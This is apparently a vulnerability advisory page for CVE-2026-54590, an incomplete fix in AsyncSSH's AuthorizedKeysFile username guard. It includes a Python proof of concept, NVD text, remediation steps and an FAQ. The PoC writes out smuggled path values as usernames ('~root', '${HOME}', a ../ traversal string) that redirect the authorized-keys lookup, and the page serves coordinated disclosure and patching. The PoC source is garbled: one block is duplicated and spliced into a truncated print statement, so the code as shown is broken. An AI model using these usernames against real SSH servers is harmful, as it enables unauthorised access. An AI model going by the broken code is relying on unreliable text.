CVE-2026-54590: AsyncSSH AuthorizedKeysFile username substitution bypass through ~ and environment expansion
Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h). The 2.23.0 guard that sanitises the SSH username before %u substitution in AuthorizedKeysFile blocks /, \ and .., but does not block a leading ~ (or ${ENV}), both of which are re-introduced by later expansion and reach the file open — defeating the guard.
Affected: asyncssh 2.23.0 and current develop (commit a60f863, HEAD on 2026-05-29).
## Summary The fix for CVE-2026-45309 added a guard in SSHServerConfig.settokens (asyncssh/config.py:715-716) that rejects an SSH username containing /, \, or equal to .., before it is substituted for the %u token in AuthorizedKeysFile:
if self.user == '..' or '/' in self.user or '\\' in self.user: raise IllegalUserName('Unsafe username substitution')
However, the %u-substituted value is subsequently passed through environment-variable expansion (expandval, config.py:145-149 — token expansion then env expansion) and, at file-open time, through expanduser() (readauthorizedkeys → readfile → open(Path(filename).expanduser()), authkeys.py:348 → misc.py:290). Both re-introduce the path control the guard was meant to remove, so a username that contains no //\ can still cause the server to read an authorized-keys file outside the intended per-user directory.
The client-supplied username reaches this path pre-authentication: processuserauthrequest takes the username from the SSHMSGUSERAUTHREQUEST packet (connection.py:2516-2519) and finishuserauth calls reloadconfig() (connection.py:2536), which re-evaluates AuthorizedKeysFile with username=self.username (connection.py:5906) before the offered key is validated.
## Primary vector — leading ~ A username such as ~root or ~victim passes the guard (no /). For a server whose AuthorizedKeysFile begins with %u — e.g. AuthorizedKeysFile %u/.ssh/authorizedkeys — the expanded value is ~victim/.ssh/authorizedkeys, which expanduser() resolves to /home/victim/.ssh/authorizedkeys (~root → /root/...; a bare ~ → the server process's home). The username has therefore escaped the intended per-user location without using any path separator — defeating the purpose of the guard.
Note: expanduser() only expands a leading ~, so this vector requires %u to be the first path component of AuthorizedKeysFile. (The CVE-2026-45309 authorizedkeys/%u example — %u not leading — is not reachable this way; that was the ../ form.)
## Impact and limitations - Demonstrated (verified against source at a60f863): the guard is bypassable and the authorized-keys lookup is redirected to an attacker-named home tree, pre-auth, with a separator-free username. - Impact model = identical to CVE-2026-45309: authenticating as the redirected username when a readable authorized-keys file containing the attacker's key is reachable at the redirected location. The parent CVE accepted this exact precondition and was scored C:N/I:H/A:N; this is scored consistently. - Not built: a live multi-account SSH auth harness; the PoC verifies the path-redirection mechanism in-process, deterministically. No new primitive is claimed beyond the parent CVE's accepted model — only that the 2.23.0 fix does not close it for ~/${ENV}. - Preconditions (captured by AC:H): %u must be the leading path component; on Python 3.13, Path('~nonexistentuser').expanduser() raises RuntimeError, so only existing accounts are reachable (confirmed: asyncssh 2.23.0, Python 3.13.12).
## Secondary vector — ${ENV} (defense-in-depth only) A username like ${HOME} also passes the guard and is then environment-expanded, re-introducing /. Weaker and not a practical exploit: the attacker can only reference env vars that already exist in the server process (a missing variable raises ConfigParseError) and cannot control their values. Reported as hardening.
## Reproduction In-process, deterministic, no network. Against a checkout of asyncssh 2.23.0:
cd /path/to/asyncssh PYTHONPATH=/path/to/asyncssh python3 pocauthkeystokenbypass.py
Output (abridged):
[1] original CVE '../../../../tmp/evil' blocked: True (fix present) literal-slash user '/etc' blocked: True [A] tilde bypass user '~root': guard blocks it? False (False == bypass) expanded config value : ['~root/.ssh/authorizedkeys'] after expanduser() : /root/.ssh/authorizedkeys <-- read as authorizedkeys VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)
## Suggested fix Tighten settokens to also reject usernames that re-introduce path control after expansion — reject a leading ~ / ~user and $/${ references in self.user. More robustly, validate that the FINAL expanded AuthorizedKeysFile path remains within the intended base directory, and/or suppress expanduser/environment expansion on the %u-derived component specifically.
## Disclosure Coordinated, ~90-day default. I will not publish details/PoC before a fix is released, and am happy to validate the patch. Credit (if given) to cesabici-bit.
## PoC source (see code block below)
python #!/usr/bin/env python3 """ PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path control). Local-only, in-process, deterministic. No network.
CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in SSHServerConfig.settokens that rejects a client username containing '/', '\\', or equal to '..' before it is substituted for the %u token in the server's AuthorizedKeysFile directive.
This PoC shows the blocklist is bypassable: the %u value is afterwards run through (1) ${ENV} expansion and (2) ~ expanduser(), both of which re-introduce the path control the guard was meant to remove.
CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() — it lets a separator-free username (e.g. '~root') escape to another home tree when %u is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can only REFERENCE env vars that already exist on the server and cannot control their VALUES; the ${ASYNCSSHPOCVAR} demo below sets the var itself purely to illustrate the expansion, and does NOT represent attacker capability. Treat (1) as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.
Run from a checkout of asyncssh (cwd on sys.path), e.g.: cd /tmp/targets/asyncssh && python3 <thisfile> """
import os import sys import tempfile from pathlib import Path
import asyncssh from asyncssh.config import SSHServerConfig
try: from asyncssh.misc import IllegalUserName except Exception: # pragma: no cover IllegalUserName = asyncssh.IllegalUserName
def expandauthkeys(user, cfgtext): """Load a server config exactly as SSHServerConnection does and return the expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the CVE-2026-45309 guard fires.""" with tempfile.NamedTemporaryFile("w", suffix=".conf", delete=False) as f: f.write(cfgtext) cfgpath = f.name try: # mirror connection.py:8897 # SSHServerConfig.load(lastconfig, config, reload, canonical, final, # acceptaddr, acceptport, username, # clienthost, clientaddr) cfg = SSHServerConfig.load( None, cfgpath, True, False, False, "127.0.0.1", 22, user, "client.example", "203.0.113.7", ) return cfg.get("AuthorizedKeysFile") finally: os.unlink(cfgpath)
def guardblocks(user, cfgtext): """Return True if the CVE-2026-45309 guard rejects this username.""" try: expandauthkeys(user, cfgtext) return False except IllegalUserName: return True
def main(): print(f"# asyncssh {asyncssh.version} ({asyncssh.file})") print(f"# python {sys.version.split()[0]}\n")
results = []
# ---- Sanity 0: benign username expands normally ----------------------- cfg = "AuthorizedKeysFile /etc/ssh/authorizedkeys.d/%u" val = expandauthkeys("alice", cfg) print(f"[0] benign user 'alice': {val}") results.append(("benign expands to per-user path", val == ["/etc/ssh/authorizedkeys.d/alice"]))
# ---- Sanity 1: original CVE-2026-45309 is blocked --------------------- blocked = guardblocks("../../../../tmp/evil", cfg) print(f"[1] original CVE '../../../../tmp/evil' blocked: {blocked}") results.append(("original CVE traversal is blocked (fix present)", blocked))
# also: a literal slash is blocked (the guard's whole purpose) slashblocked = guardblocks("/etc", cfg) print(f" literal-slash user '/etc' blocked: {slashblocked}") results.append(("literal-slash username is blocked", slashblocked))
print()
# ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() ------- cfga = "AuthorizedKeysFile %u/.ssh/authorizedkeys" blockeda = guardblocks("~root", cfga) vala = expandauthkeys("~root", cfga) resolveda = str(Path(vala[0]).expanduser()) # what readfile()/openfile() does print(f"[A] tilde bypass user '~root':") print(f" guard blocks it? {blockeda} (False == bypass)") print(f" expanded config value : {vala}") print(f" after expanduser() : {resolveda} <-- read as authorizedkeys") results.append(("A: ~user NOT blocked by guard", not blockeda)) results.append(("A: expanduser() redirects to another home tree", resolveda.startswith("/root/") or "~" not in resolveda))
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' ----------- # The username contains no '/','\\' and is not '..', so the guard passes. # Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a # server value that DOES contain '/', defeating the separator filter. cfgb = "AuthorizedKeysFile %u" os.environ.setdefault("HOME", "/root") blockedb = guardblocks("${HOME}", cfgb) valb = expandauthkeys("${HOME}", cfgb) print(f"[B] env bypass user '${{HOME}}':") print(f" guard blocks it? {blockedb} (False == bypass)") print(f" expanded config value : {valb} (HOME={os.environ['HOME']})") sepinjected = any("/" in p for p in valb) print(f" contains '/' after guard? {sepinjected} <-- separator filter bypassed") results.append(("B: ${ENV} username NOT blocked by guard", not blockedb)) results.append(("B: ${ENV} re-introduces '/' the guard rejected literally", sepinjected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var os.environ["ASYNCSSHPOCVAR"] = "/tmp/asyncsshpoc/INJECTED/authorizedkeys" valb2 = expandauthkeys("${ASYNCSSHPOCVAR}", cfgb) print(f" via referenced env var: {valb2}") results.append(("B: env value yields absolute '/'-path post-guard", valb2 == ["/tmp/asyncsshpoc/INJECTED/authorizedkeys"]))
# ---- verdict ---------------------------------------------------------- print("\n==== RESULTS ====") ok = True for name, passed in results: print(f" [{'PASS' if passed else 'FAIL'}] {name}") ok = ok and passed print("\nVERDICT:",
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' ----------- # The username contains no '/','\\' and is not '..', so the guard passes. # Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a # server value that DOES contain '/', defeating the separator filter. cfgb = "AuthorizedKeysFile %u" os.environ.setdefault("HOME", "/root") blockedb = guardblocks("${HOME}", cfgb) valb = expandauthkeys("${HOME}", cfgb) print(f"[B] env bypass user '${{HOME}}':") print(f" guard blocks it? {blockedb} (False == bypass)") print(f" expanded config value : {valb} (HOME={os.environ['HOME']})") sepinjected = any("/" in p for p in valb) print(f" contains '/' after guard? {sepinjected} <-- separator filter bypassed") results.append(("B: ${ENV} username NOT blocked by guard", not blockedb)) results.append(("B: ${ENV} re-introduces '/' the guard rejected literally", sepinjected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var os.environ["ASYNCSSHPOCVAR"] = "/tmp/asyncsshpoc/INJECTED/authorizedkeys" valb2 = expandauthkeys("${ASYNCSSHPOCVAR}", cfgb) print(f" via referenced env var: {valb2}") results.append(("B: env value yields absolute '/'-path post-guard", valb2 == ["/tmp/asyncsshpoc/INJECTED/authorizedkeys"]))
# ---- verdict ---------------------------------------------------------- print("\n==== RESULTS ====") ok = True for name, passed in results: print(f" [{'PASS' if passed else 'FAIL'}] {name}") ok = ok and passed print("\nVERDICT:", "guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)" if ok else "one or more checks did not hold") return 0 if ok else 1
if name == "main": sys.exit(main())
Other sources
AsyncSSH is a Python package which provides an asynchronous client and server implementation of the SSHv2 protocol on top of the Python asyncio framework. Version 2.23.0 contains an incomplete fix for CVE-2026-45309 in SSHServerConfig.settokens that blocks /, , and .. before %u substitution in AuthorizedKeysFile but does not block a leading ~ or ${ENV}, allowing later expansion in expandval and Path(filename).expanduser() to escape the intended authorized-keys directory. This issue is fixed in version 2.23.1.
— NVD
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/asyncsshto a version that resolves this vulnerability.Fixed in 2.23.1 - Upgrade
Upgrade
asyncsshto a version that resolves this vulnerability.Fixed in 2.23.1 - Configuration
In SSHServerConfig._set_tokens, tighten the existing username guard (currently blocks '/', '\', and '..') to also reject usernames that re-introduce path control after %u substitution—specifically reject a leading '~' / '~user' and a '$'/'${' sequence before `%u` substitution so later expanduser() / environment expansion cannot redirect the AuthorizedKeysFile path.
asyncssh SSHServerConfig._set_tokens (AuthorizedKeysFile %u substitution guard) reject leading '~' and disallow '$'/'${' in client username before %u substitution = enforce
Event History
Frequently Asked Questions
What is the severity of CVE-2026-54590?
CVE-2026-54590 has a medium severity level rated at 5.9.
How does CVE-2026-54590 affect AsyncSSH?
CVE-2026-54590 allows username substitution bypass through environment expansion, potentially leading to security risks.
What are the implications of CVE-2026-54590 in software security?
CVE-2026-54590 could enable unauthorized access under certain conditions due to incomplete mitigations.
How do I fix CVE-2026-54590?
To fix CVE-2026-54590, update to AsyncSSH version 2.23.1 or higher which addresses the vulnerability.
What is the primary vulnerability type for CVE-2026-54590?
The primary vulnerability type for CVE-2026-54590 is path traversal.